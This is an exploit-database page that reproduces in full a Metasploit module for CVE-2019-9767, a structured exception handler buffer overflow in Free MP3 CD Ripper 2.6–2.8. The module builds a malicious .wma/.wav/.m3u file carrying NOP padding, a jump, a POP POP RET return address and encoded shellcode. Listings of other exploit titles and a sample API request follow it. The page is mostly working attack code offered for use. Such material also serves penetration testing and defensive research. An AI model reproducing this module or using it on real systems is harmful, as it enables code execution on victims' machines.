Become a patron and gain access to the dashboard, Schedule scans, API and Search patron

Search for hundreds of thousands of exploits

"Free MP3 CD Ripper 2.8 - Multiple File Buffer Overflow (Metasploit)"

Author

Exploit author

ZwX

Platform

Exploit platform

windows

Release date

Exploit published date

2020-11-20

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Free MP3 CD Ripper 2.6 < 2.8 (.wma.wav.flac.m3u.acc) Buffer Overflow",
      'Description'    => %q{
       This module exploits a buffer overflow in Free MP3 CD Ripper versions 2.6 and 2.8.
       By constructing a specially crafted WMA WAV M3U ACC FLAC file and attempting to convert it to an MP3 file in the
       application, a buffer is overwritten, which allows for running shellcode.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Gionathan Reale', # Exploit-DB POC
          'ZwX'              # Metasploit Module
        ],
      'References'     =>
        [
          [ 'CVE', '2019-9767' ],
          [ 'EDB', '45412' ],
          [ 'URL', 'https://www.exploit-db.com/exploits/45412' ]
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [
            'Windows 7 x86 - Windows 7 x64',
            {
              'Ret' => 0x66e42121 # POP POP RET
            }
          ]
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00\x0a\x0d\x2f"
        },
      'Privileged'     => false,
      'DisclosureDate' => "Sep 09 2018",
      'DefaultTarget'  => 0))

    register_options(
    [
      OptString.new('FILENAME', [true, 'Create malicious file example extension (.wma .wav .acc .flac .m3u)', 'name.wma'])
    ])
  end

  def exploit
    file_payload = payload.encoded

    msfsploit = make_fast_nops(4116)
    msfsploit << "\xeb\x06#{Rex::Text.rand_text_alpha(2, payload_badchars)}" # NSEH_JMP
    msfsploit << [target.ret].pack("V*")  # SEH
    msfsploit << file_payload
    msfsploit << make_fast_nops(4440)

    file_create(msfsploit)
  end
end
Release Date Title Type Platform Author
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "ILIAS Learning Management System 4.3 - SSRF" webapps multiple Dot
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Microsoft Windows - Win32k Elevation of Privilege" local windows nu11secur1ty
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
2020-12-02 "Pharmacy Store Management System 1.0 - 'id' SQL Injection" webapps php "Aydın Baran Ertemir"
Release Date Title Type Platform Author
2020-12-02 "PRTG Network Monitor 20.4.63.1412 - 'maps' Stored XSS" webapps windows "Amin Rawah"
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Microsoft Windows - Win32k Elevation of Privilege" local windows nu11secur1ty
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
2020-12-01 "Intel(r) Management and Security Application 5.2 - User Notification Service Unquoted Service Path" local windows "Metin Yunus Kandemir"
2020-12-01 "Pearson Vue VTS 2.3.1911 Installer - VUEApplicationWrapper Unquoted Service Path" local windows Jok3r
2020-12-01 "10-Strike Network Inventory Explorer 8.65 - Buffer Overflow (SEH)" local windows Sectechs
2020-12-01 "EPSON Status Monitor 3 'EPSON_PM_RPCV4_06' - Unquoted Service Path" local windows SamAlucard
2020-12-01 "Global Registration Service 1.0.0.3 - 'GREGsvc.exe' Unquoted Service Path" local windows "Emmanuel Lujan"
2020-11-30 "YATinyWinFTP - Denial of Service (PoC)" remote windows strider
Release Date Title Type Platform Author
2020-11-20 "Free MP3 CD Ripper 2.8 - Multiple File Buffer Overflow (Metasploit)" local windows ZwX
2020-11-18 "Wordpress Plugin WPForms 1.6.3.1 - Persistent Cross Site Scripting (Authenticated)" webapps php ZwX
2020-02-12 "MyVideoConverter Pro 3.14 - 'TVSeries' Buffer Overflow" local windows ZwX
2020-02-12 "MyVideoConverter Pro 3.14 - 'Movie' Buffer Overflow" local windows ZwX
2020-02-12 "MyVideoConverter Pro 3.14 - 'Output Folder' Buffer Overflow" local windows ZwX
2020-02-11 "Wedding Slideshow Studio 1.36 - 'Name' Buffer Overflow" local windows ZwX
2020-02-11 "DVD Photo Slideshow Professional 8.07 - 'Key' Buffer Overflow" local windows ZwX
2020-02-11 "DVD Photo Slideshow Professional 8.07 - 'Name' Buffer Overflow" local windows ZwX
2020-02-10 "Wedding Slideshow Studio 1.36 - 'Key' Buffer Overflow" local windows ZwX
2020-02-06 "ELAN Smart-Pad 11.10.15.1 - 'ETDService' Unquoted Service Path" local windows ZwX
2020-01-13 "Advanced System Repair Pro 1.9.1.7 - Insecure File Permissions" local windows ZwX
2020-01-09 "MSN Password Recovery 1.30 - XML External Entity Injection" local xml ZwX
2020-01-09 "ZIP Password Recovery 2.30 - 'ZIP File' Denial of Service (PoC)" dos windows ZwX
2020-01-06 "Adaware Web Companion 4.9.2159 - 'WCAssistantService' Unquoted Service Path" local windows ZwX
2019-12-18 "XnView 2.49.1 - 'Research' Denial of Service (PoC)" dos windows ZwX
2019-12-18 "AVS Audio Converter 9.1 - 'Exit folder' Buffer Overflow" local windows ZwX
2019-12-05 "Amiti Antivirus 25.0.640 - Unquoted Service Path" local windows ZwX
2019-12-05 "NETGATE Data Backup 3.0.620 - 'NGDatBckpSrv' Unquoted Service Path" local windows ZwX
2019-12-04 "Microsoft Visual Basic 2010 Express - XML External Entity Injection" local xml ZwX
2019-11-29 "SpotAuditor 5.3.2 - 'Name' Denial of Service" dos windows ZwX
2019-11-29 "SpotAuditor 5.3.2 - 'Key' Denial of Service" dos windows ZwX
2019-11-27 "SpotAuditor 5.3.2 - 'Base64' Denial Of Service (PoC)" dos windows ZwX
2019-11-27 "Microsoft DirectX SDK 2010 - '.PIXrun' Denial Of Service (PoC)" dos windows ZwX
2019-11-22 "ProShow Producer 9.0.3797 - ('ScsiAccess') Unquoted Service Path" local windows ZwX
2019-11-22 "LiteManager 4.5.0 - Insecure File Permissions" local windows ZwX
2019-11-19 "XMedia Recode 3.4.8.6 - '.m3u' Denial Of Service" dos windows ZwX
2019-11-19 "BartVPN 1.2.2 - 'BartVPNService' Unquoted Service Path" local windows ZwX
2019-11-18 "MobileGo 8.5.0 - Insecure File Permissions" local windows ZwX
2018-09-13 "Clone2Go Video to iPod Converter 2.5.0 - Denial of Service (PoC)" dos windows_x86 ZwX
2018-09-13 "Socusoft Photo to Video Converter 8.07 - 'Registration Name' Buffer Overflow" local windows ZwX
import requests
response = requests.get('https://www.nmmapper.com/api/v1/exploitdetails/49087/?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.